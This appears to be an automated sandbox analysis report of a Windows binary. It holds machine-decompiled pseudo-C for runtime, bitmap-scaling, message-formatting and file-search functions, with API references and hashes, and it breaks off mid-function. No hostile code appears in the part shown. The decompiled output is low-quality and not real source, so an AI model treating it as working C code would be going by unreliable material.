Part of subcall function 01109D9A: SizeofResource.KERNEL32(00000000,00000000,?,?,?,0110AD89,00000066), ref: 01109DC4
Part of subcall function 01109D9A: LoadResource.KERNEL32(00000000,?,?,?,0110AD89,00000066), ref: 01109DD7
Part of subcall function 01109D9A: LockResource.KERNEL32(00000000,?,?,?,0110AD89,00000066), ref: 01109DE2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: 85bbaa5a041df71430eb675543509cc66f0cf0187348e1cff6b19f258d37bf41
Instruction ID: dfb741906057e7c285ba3103c961aaeaefc037c69ed50c4e59e6c008b7c3c8f7
Opcode Fuzzy Hash: 85bbaa5a041df71430eb675543509cc66f0cf0187348e1cff6b19f258d37bf41
Instruction Fuzzy Hash: FD01FC32E8031AB7D72736285D14A7F7A6E9F92A5AF080021FE04A72C5DFA18C0153A0

Uniqueness

Uniqueness Score: -1.00%

Function 01112319, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E01112319(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t25;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				intOrPtr* _t32;
				void* _t34;

				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_push(_a4);
					E01112968(__edx, _t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E0110FA5B(_t28);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E01112B6A(_t27, _t28, _t29, _t30, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E01112123(_t29, _t32, _t37);
				if(_t25 != 0) {
					E0110FA29(_t25, _t30);
					return _t25;
				}
				return _t25;
			}

0x01112319
0x01112319
0x0111231c
0x01112321
0x01112324
0x01112326
0x01112329
0x0111232c
0x0111232d
0x01112330
0x01112335
0x01112335
0x01112338
0x0111233c
0x0111233f
0x01112344
0x01112341
0x01112341
0x01112341
0x01112347
0x0111234d
0x01112350
0x01112352
0x01112355
0x01112358
0x01112359
0x01112362
0x01112367
0x0111236a
0x01112370
0x01112373
0x01112376
0x01112379
0x0111237a
0x0111237d
0x01112388
0x0111238c
0x00000000
0x0111238c
0x01112393

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 01112330

Part of subcall function 01112968: ___AdjustPointer.LIBCMT ref: 011129B2

_UnwindNestedFrames.LIBCMT ref: 01112347
___FrameUnwindToState.LIBVCRUNTIME ref: 01112359
CallCatchBlock.LIBVCRUNTIME ref: 0111237D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 85922d69eac58b553849b4939f9ebe2b6291e1533c257ba7745a1c0a1e2d1bc0
Instruction ID: 4e5e904a2f56ccc2e384241ae219661ab5e7cddd92ed94594196de3716d159ec
Opcode Fuzzy Hash: 85922d69eac58b553849b4939f9ebe2b6291e1533c257ba7745a1c0a1e2d1bc0
Instruction Fuzzy Hash: 3301E93240010AFBCF169F59CC01EDA7BBAFF59754F258025FA5865124D372E4A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01111E66, Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01111E66() {
				void* _t4;
				void* _t8;

				E01113274();
				E01113208();
				if(E01112F2E() != 0) {
					_t4 = E01111FAC(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E01112F6A();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x01111e66
0x01111e6b
0x01111e77
0x01111e7c
0x01111e81
0x01111e83
0x01111e8e
0x01111e85
0x01111e85
0x00000000
0x01111e85
0x01111e79
0x01111e79
0x01111e7b
0x01111e7b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 01111E66
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 01111E6B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 01111E70

Part of subcall function 01112F2E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 01112F3F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 01111E85

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: db56094726013a0e7960dbb605aab973f1732d5fd0b5120fa08f3f94fc27d9a5
Instruction ID: 8b503347191edbdb024c093695c4f442edf4c52871346175fc69b38e60f460c4
Opcode Fuzzy Hash: db56094726013a0e7960dbb605aab973f1732d5fd0b5120fa08f3f94fc27d9a5
Instruction Fuzzy Hash: C0C04C0C011713742C2F3AF921002EDD7042C735DCB9011F1CA602701F5B66041E5077

Uniqueness

Uniqueness Score: -1.00%

Function 01109EDB, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E01109EDB(void* __edx, long long __fp0, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v0;
				signed int _v4;
				void _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v84;
				intOrPtr _v116;
				void* _v120;
				short _v122;
				short _v124;
				signed int _v128;
				intOrPtr _v132;
				signed int _v136;
				intOrPtr* _v140;
				char _v152;
				signed int _v160;
				intOrPtr _v164;
				char _v180;
				intOrPtr* _v192;
				intOrPtr* _v200;
				signed int _v208;
				char _v212;
				signed int _v216;
				signed int _v220;
				void* _v224;
				char _v228;
				intOrPtr* _v232;
				intOrPtr* _v240;
				void* _v256;
				intOrPtr* _v264;
				void* __edi;
				signed int _t78;
				intOrPtr* _t84;
				void* _t86;
				signed int _t87;
				signed int _t90;
				short _t100;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t107;
				intOrPtr* _t110;
				intOrPtr* _t116;
				intOrPtr* _t128;
				intOrPtr* _t131;
				intOrPtr* _t134;
				void* _t141;
				intOrPtr* _t146;
				intOrPtr* _t158;
				intOrPtr* _t161;
				signed int _t175;
				void* _t177;
				void* _t179;
				intOrPtr* _t181;
				signed int _t195;
				long long* _t197;
				long long _t200;

				_t200 = __fp0;
				if(E01109D6F() != 0) {
					_t141 = _a4;
					GetObjectW(_t141, 0x18,  &_v68);
					_t195 = _v0;
					asm("cdq");
					_t78 = _v72 * _v4 / _v76;
					if(_t78 < _t195) {
						_t195 = _t78;
					}
					_t177 = 0;
					_push( &_v120);
					_push(0x1123684);
					_push(1);
					_push(0);
					_push(0x112444c);
					if( *0x1151174() < 0) {
						L19:
						return _t141;
					} else {
						_t84 = _v140;
						 *0x1122260(_t84, _t141, 0, 2,  &_v136, _t179);
						_t86 =  *((intOrPtr*)( *_t84 + 0x54))();
						_t87 = _v160;
						if(_t86 >= 0) {
							_v152 = 0;
							_t181 =  *((intOrPtr*)( *_t87 + 0x28));
							_t146 = _t181;
							 *0x1122260(_t87,  &_v152);
							if( *_t181() >= 0) {
								_t90 = _v160;
								asm("fldz");
								 *_t197 = _t200;
								 *0x1122260(_t90, _v164, 0x112445c, 0, 0, _t146, _t146, 0);
								if( *((intOrPtr*)( *_t90 + 0x20))() >= 0) {
									E0110F1A0(0,  &_v136, 0, 0x2c);
									_v132 = _v84;
									_v136 = 0x28;
									_v128 =  ~_t195;
									_v120 = 0;
									_v124 = 1;
									_t100 = 0x20;
									_v122 = _t100;
									_t103 =  *0x115105c(0,  &_v136, 0,  &_v180, 0, 0);
									_v208 = _t103;
									asm("sbb ecx, ecx");
									if(( ~_t103 & 0x7ff8fff2) + 0x8007000e >= 0) {
										_t158 = _v224;
										 *0x1122260(_t158,  &_v212);
										 *((intOrPtr*)( *((intOrPtr*)( *_t158 + 0x2c))))();
										_t116 = _v220;
										 *0x1122260(_t116, _v228, _v116, _t195, 3);
										 *((intOrPtr*)( *_t116 + 0x20))();
										_t175 = _v136;
										_t161 = _v240;
										_v220 = _t175;
										_v228 = 0;
										_v224 = 0;
										_v216 = _t195;
										 *0x1122260(_t161,  &_v228, _t175 << 2, _t175 * _t195 << 2, _v232);
										if( *((intOrPtr*)( *_t161 + 0x1c))() < 0) {
											DeleteObject(_v256);
										} else {
											_t177 = _v256;
										}
										_t128 = _v264;
										 *0x1122260(_t128);
										 *((intOrPtr*)( *((intOrPtr*)( *_t128 + 8))))();
									}
									_t104 = _v220;
									 *0x1122260(_t104);
									 *((intOrPtr*)( *((intOrPtr*)( *_t104 + 8))))();
									_t107 = _v220;
									 *0x1122260(_t107);
									 *((intOrPtr*)( *((intOrPtr*)( *_t107 + 8))))();
									_t110 = _v232;
									 *0x1122260(_t110);
									 *((intOrPtr*)( *((intOrPtr*)( *_t110 + 8))))();
									if(_t177 != 0) {
										_t141 = _t177;
									}
									L18:
									goto L19;
								}
								_t131 = _v192;
								 *0x1122260(_t131);
								 *((intOrPtr*)( *((intOrPtr*)( *_t131 + 8))))();
							}
							_t134 = _v200;
							 *0x1122260(_t134);
							 *((intOrPtr*)( *((intOrPtr*)( *_t134 + 8))))();
							_t87 = _v208;
						}
						 *0x1122260(_t87);
						 *((intOrPtr*)( *((intOrPtr*)( *_t87 + 8))))();
						goto L18;
					}
				}
				_push(_a12);
				_push(_a8);
				_push(_a4);
				return E0110A163();
			}

0x01109edb
0x01109ee5
0x01109efe
0x01109f0b
0x01109f1a
0x01109f21
0x01109f22
0x01109f28
0x01109f2a
0x01109f2a
0x01109f31
0x01109f33
0x01109f34
0x01109f3c
0x01109f3d
0x01109f3e
0x01109f4b
0x0110a158
0x00000000
0x01109f51
0x01109f51
0x01109f65
0x01109f6b
0x01109f70
0x01109f74
0x01109f8b
0x01109f97
0x01109f9a
0x01109f9c
0x01109fa6
0x01109fc2
0x01109fc6
0x01109fcd
0x01109fdf
0x01109fea
0x0110a00a
0x0110a019
0x0110a021
0x0110a029
0x0110a032
0x0110a036
0x0110a03b
0x0110a03e
0x0110a04f
0x0110a057
0x0110a05d
0x0110a06b
0x0110a071
0x0110a082
0x0110a088
0x0110a08a
0x0110a0a2
0x0110a0a8
0x0110a0ab
0x0110a0b8
0x0110a0bf
0x0110a0c3
0x0110a0c7
0x0110a0cb
0x0110a0e4
0x0110a0ef
0x0110a0fb
0x0110a0f1
0x0110a0f1
0x0110a0f1
0x0110a101
0x0110a10d
0x0110a113
0x0110a113
0x0110a115
0x0110a121
0x0110a127
0x0110a129
0x0110a135
0x0110a13b
0x0110a13d
0x0110a149
0x0110a14f
0x0110a153
0x0110a155
0x0110a155
0x0110a157
0x00000000
0x0110a157
0x01109fec
0x01109ff8
0x01109ffe
0x01109ffe
0x01109fa8
0x01109fb4
0x01109fba
0x01109fbc
0x01109fbc
0x01109f7e
0x01109f84
0x00000000
0x01109f84
0x01109f4b
0x01109ee7
0x01109eeb
0x01109eef
0x00000000

APIs

Part of subcall function 01109D6F: GetDC.USER32(00000000), ref: 01109D73
Part of subcall function 01109D6F: GetDeviceCaps.GDI32(00000000,0000000C), ref: 01109D7E
Part of subcall function 01109D6F: ReleaseDC.USER32(00000000,00000000), ref: 01109D89

GetObjectW.GDI32(?,00000018,?), ref: 01109F0B

Part of subcall function 0110A163: GetDC.USER32(00000000), ref: 0110A16C
Part of subcall function 0110A163: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,?,?,01109EF8,?,?,?), ref: 0110A19B
Part of subcall function 0110A163: ReleaseDC.USER32(00000000,?), ref: 0110A233

Strings

(, xrefs: 0110A021

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: d621c4306c9d12d5b90acce35597a1d860dd3177962d51aff454027bcc5acaa6
Instruction ID: f7328a1e5e26b1cd4e485b72563d053a26d76942fd9cb422a7809babbfa32d78
Opcode Fuzzy Hash: d621c4306c9d12d5b90acce35597a1d860dd3177962d51aff454027bcc5acaa6
Instruction Fuzzy Hash: 1C812375608344AFC729DF24D844A2ABBE9FF89704F00492DF59AD72A0CB71AD05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 01100D97, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E01100D97(intOrPtr* __ecx) {
				char _v516;
				signed int _t26;
				void* _t28;
				void* _t32;
				signed int _t33;
				signed int _t34;
				signed int _t35;
				signed int _t38;
				void* _t47;
				void* _t48;

				_t41 = __ecx;
				_t44 = __ecx;
				_t26 =  *(__ecx + 0x48);
				_t47 = _t26 - 0x6f;
				if(_t47 > 0) {
					__eflags = _t26 - 0x7d;
					if(_t26 == 0x7d) {
						E0110CBA4();
						_t28 = E010FDD11(_t41, 0x96);
						return E01109EB3( *0x1137448, E010FDD11(_t41, 0xc9), _t28, 0);
					}
				} else {
					if(_t47 == 0) {
						_push(0x456);
						L38:
						_push(E010FDD11(_t41));
						_push( *_t44);
						L19:
						_t32 = E0110ADC4();
						L11:
						return _t32;
					}
					_t48 = _t26 - 0x16;
					if(_t48 > 0) {
						__eflags = _t26 - 0x38;
						if(__eflags > 0) {
							_t33 = _t26 - 0x39;
							__eflags = _t33;
							if(_t33 == 0) {
								_push(0x8c);
								goto L38;
							}
							_t34 = _t33 - 1;
							__eflags = _t34;
							if(_t34 == 0) {
								_push(0x6f);
								goto L38;
							}
							_t35 = _t34 - 1;
							__eflags = _t35;
							if(_t35 == 0) {
								_push( *((intOrPtr*)(__ecx + 4)));
								_push(0x406);
								goto L13;
							}
							_t38 = _t35 - 9;
							__eflags = _t38;
							if(_t38 == 0) {
								_push(0x343);
								goto L38;
							}
							_t26 = _t38 - 1;
							__eflags = _t26;
							if(_t26 == 0) {
								_push(0x86);
								goto L38;
							}
						} else {
							if(__eflags == 0) {
								_push(0x67);
								goto L38;
							}
							_t26 = _t26 - 0x17;
							__eflags = _t26 - 0xb;
							if(_t26 <= 0xb) {
								switch( *((intOrPtr*)(_t26 * 4 +  &M0110105B))) {
									case 0:
										_push(0xde);
										goto L18;
									case 1:
										_push(0xe1);
										goto L18;
									case 2:
										_push(0xb4);
										goto L38;
									case 3:
										_push(0x69);
										goto L38;
									case 4:
										_push(0x6a);
										goto L38;
									case 5:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x68);
										goto L13;
									case 6:
										_push(0x46f);
										goto L38;
									case 7:
										_push(0x470);
										goto L38;
									case 8:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x471);
										goto L13;
									case 9:
										goto L61;
									case 0xa:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x71);
										goto L13;
									case 0xb:
										E010FDD11(__ecx, 0xc8) =  &_v516;
										__eax = E010F3FD6( &_v516, 0x100,  &_v516,  *((intOrPtr*)(__esi + 4)));
										_push( *((intOrPtr*)(__esi + 8)));
										__eax =  &_v516;
										_push( &_v516);
										return E0110ADC4( *__esi, L"%s: %s");
								}
							}
						}
					} else {
						if(_t48 == 0) {
							_push( *__ecx);
							_push(0xdd);
							L23:
							E010FDD11(_t41);
							L7:
							_push(0);
							L8:
							return E0110ADC4();
						}
						if(_t26 <= 0x15) {
							switch( *((intOrPtr*)(_t26 * 4 +  &M01101003))) {
								case 0:
									_push( *__esi);
									_push(L"%ls");
									_push(">");
									goto L8;
								case 1:
									_push( *__ecx);
									_push(L"%ls");
									goto L7;
								case 2:
									_push(0);
									__eax = E0110A578();
									goto L11;
								case 3:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7b);
									goto L13;
								case 4:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7a);
									goto L13;
								case 5:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7c);
									goto L13;
								case 6:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xca);
									goto L13;
								case 7:
									_push(0x70);
									L18:
									_push(E010FDD11(_t41));
									_push(0);
									goto L19;
								case 8:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x72);
									goto L13;
								case 9:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x78);
									goto L13;
								case 0xa:
									_push( *__esi);
									_push(0x85);
									goto L23;
								case 0xb:
									_push( *__esi);
									_push(0x204);
									goto L23;
								case 0xc:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x84);
									goto L13;
								case 0xd:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x83);
									goto L13;
								case 0xe:
									goto L61;
								case 0xf:
									_push( *((intOrPtr*)(__esi + 8)));
									_push( *((intOrPtr*)(__esi + 4)));
									__eax = E010FDD11(__ecx, 0xd2);
									return __eax;
								case 0x10:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x79);
									goto L13;
								case 0x11:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xdc);
									L13:
									_push(E010FDD11(_t41));
									_push( *_t44);
									goto L8;
							}
						}
					}
				}
				L61:
				return _t26;
			}

0x01100d97
0x01100da1
0x01100da3
0x01100da6
0x01100da9
0x01100fd0
0x01100fd3
0x01100fd5
0x01100fe1
0x00000000
0x01100ff8
0x01100daf
0x01100daf
0x01100fc6
0x01100ef3
0x01100ef8
0x01100ef9
0x01100e36
0x01100e36
0x01100dff
0x00000000
0x01100dff
0x01100db5
0x01100db8
0x01100eb8
0x01100ebb
0x01100f7b
0x01100f7b
0x01100f7e
0x01100fbc
0x00000000
0x01100fbc
0x01100f80
0x01100f80
0x01100f83
0x01100fb5
0x00000000
0x01100fb5
0x01100f85
0x01100f85
0x01100f88
0x01100fa8
0x01100fab
0x00000000
0x01100fab
0x01100f8a
0x01100f8a
0x01100f8d
0x01100f9e
0x00000000
0x01100f9e
0x01100f8f
0x01100f8f
0x01100f92
0x01100f94
0x00000000
0x01100f94
0x01100ec1
0x01100ec1
0x01100f74
0x00000000
0x01100f74
0x01100ec7
0x01100eca
0x01100ecd
0x01100ed3
0x00000000
0x01100eda
0x00000000
0x00000000
0x01100ee4
0x00000000
0x00000000
0x01100eee
0x00000000
0x00000000
0x01100f00
0x00000000
0x00000000
0x01100f04
0x00000000
0x00000000
0x01100f08
0x01100f0b
0x00000000
0x00000000
0x01100f12
0x00000000
0x00000000
0x01100f19
0x00000000
0x00000000
0x01100f20
0x01100f23
0x00000000
0x00000000
0x00000000
0x00000000
0x01100f2d
0x01100f30
0x00000000
0x00000000
0x01100f45
0x01100f51
0x01100f56
0x01100f59
0x01100f5f
0x00000000
0x00000000
0x01100ed3
0x01100ecd
0x01100dbe
0x01100dbe
0x01100eaf
0x01100eb1
0x01100e53
0x01100e53
0x01100ddb
0x01100ddb
0x01100ddd
0x00000000
0x01100de2
0x01100dc7
0x01100dcd
0x00000000
0x01100dea
0x01100dec
0x01100df1
0x00000000
0x00000000
0x01100dd4
0x01100dd6
0x00000000
0x00000000
0x01100df8
0x01100dfa
0x00000000
0x00000000
0x01100e05
0x01100e08
0x00000000
0x00000000
0x01100e14
0x01100e17
0x00000000
0x00000000
0x01100e1b
0x01100e1e
0x00000000
0x00000000
0x01100e22
0x01100e25
0x00000000
0x00000000
0x01100e2c
0x01100e2e
0x01100e33
0x01100e34
0x00000000
0x00000000
0x01100e3e
0x01100e41
0x00000000
0x00000000
0x01100e45
0x01100e48
0x00000000
0x00000000
0x01100e4c
0x01100e4e
0x00000000
0x00000000
0x01100e5b
0x01100e5d
0x00000000
0x00000000
0x01100e64
0x01100e67
0x00000000
0x00000000
0x01100e6e
0x01100e71
0x00000000
0x00000000
0x00000000
0x00000000
0x01100e78
0x01100e7b
0x01100e83
0x00000000
0x00000000
0x01100e98
0x01100e9b
0x00000000
0x00000000
0x01100ea2
0x01100ea5
0x01100e0a
0x01100e0f
0x01100e10
0x00000000
0x00000000
0x01100dcd
0x01100dc7
0x01100db8
0x01101001
0x01101001

APIs

_swprintf.LIBCMT ref: 01100F51

Strings

%s: %s, xrefs: 01100F60
%ls, xrefs: 01100DD6, 01100DEC

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: b022d1ff2e3526b6ff960466473a4ddf2badbd5a5aec630104a2a79766d3d3ad
Instruction ID: 8c03b66e7487915063ea552a7a9d05635f4f06c4ed4c18cd0b0a4593adefe203
Opcode Fuzzy Hash: b022d1ff2e3526b6ff960466473a4ddf2badbd5a5aec630104a2a79766d3d3ad
Instruction Fuzzy Hash: 1B51A631E88316FAFA2F2A948D46F377A55BB1CB81F02450EF396748D0CBE25A505B53

Uniqueness

Uniqueness Score: -1.00%

Function 0111A798, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0111A798(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t137;
				void* _t139;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				signed int _t147;
				signed int* _t148;
				signed int _t151;
				void* _t154;
				CHAR* _t155;
				char _t158;
				char _t160;
				intOrPtr* _t163;
				void* _t164;
				intOrPtr* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				intOrPtr* _t184;
				void* _t193;
				intOrPtr _t194;
				signed int _t196;
				signed int _t197;
				signed int _t199;
				signed int _t200;
				signed int _t202;
				union _FINDEX_INFO_LEVELS _t203;
				signed int _t208;
				signed int _t210;
				signed int _t211;
				void* _t213;
				intOrPtr _t214;
				void* _t215;
				signed int _t219;
				void* _t221;
				signed int _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				signed int _t226;
				void* _t227;
				void* _t228;

				_t80 = _a8;
				_t224 = _t223 - 0x20;
				if(_t80 != 0) {
					_t208 = _a4;
					_t160 = 0;
					 *_t80 = 0;
					_t199 = 0;
					_t151 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t208;
					if( *_t208 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t151 - _t199;
						_v8 = _t160;
						_t191 = (_t82 >> 2) + 1;
						__eflags = _t151 - _t199;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t210 =  !_t208 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t210;
						if(_t210 != 0) {
							_t197 = _t199;
							_t158 = _t160;
							do {
								_t184 =  *_t197;
								_t17 = _t184 + 1; // 0x1
								_v8 = _t17;
								do {
									_t143 =  *_t184;
									_t184 = _t184 + 1;
									__eflags = _t143;
								} while (_t143 != 0);
								_t158 = _t158 + 1 + _t184 - _v8;
								_t197 = _t197 + 4;
								_t145 = _v12 + 1;
								_v12 = _t145;
								__eflags = _t145 - _t210;
							} while (_t145 != _t210);
							_t191 = _v16;
							_v8 = _t158;
							_t151 = _v336.cAlternateFileName;
						}
						_t211 = E0111777C(_t191, _v8, 1);
						_t225 = _t224 + 0xc;
						__eflags = _t211;
						if(_t211 != 0) {
							_t87 = _t211 + _v16 * 4;
							_v20 = _t87;
							_t192 = _t87;
							_v16 = _t87;
							__eflags = _t199 - _t151;
							if(_t199 == _t151) {
								L23:
								_t200 = 0;
								__eflags = 0;
								 *_a8 = _t211;
								goto L24;
							} else {
								_t93 = _t211 - _t199;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t163 =  *_t199;
									_v12 = _t163 + 1;
									do {
										_t95 =  *_t163;
										_t163 = _t163 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t164 = _t163 - _v12;
									_t35 = _t164 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E0111E6E1(_t164, _t192, _v20 - _t192 + _v8,  *_t199);
									_t225 = _t225 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E011186C9();
										asm("int3");
										_t221 = _t225;
										_push(_t164);
										_t165 = _v64;
										_t47 = _t165 + 1; // 0x1
										_t193 = _t47;
										do {
											_t103 =  *_t165;
											_t165 = _t165 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t199);
										_t202 = _a8;
										_t167 = _t165 - _t193 + 1;
										_v12 = _t167;
										__eflags = _t167 - (_t103 | 0xffffffff) - _t202;
										if(_t167 <= (_t103 | 0xffffffff) - _t202) {
											_push(_t151);
											_t50 = _t202 + 1; // 0x1
											_t154 = _t50 + _t167;
											_t213 = E01118429(_t167, _t154, 1);
											_t169 = _t211;
											__eflags = _t202;
											if(_t202 == 0) {
												L34:
												_push(_v12);
												_t154 = _t154 - _t202;
												_t108 = E0111E6E1(_t169, _t213 + _t202, _t154, _v0);
												_t226 = _t225 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t137 = E0111AB67(_a12, _t193, __eflags, _t213);
													E0111835E(0);
													_t139 = _t137;
													goto L36;
												}
											} else {
												_push(_t202);
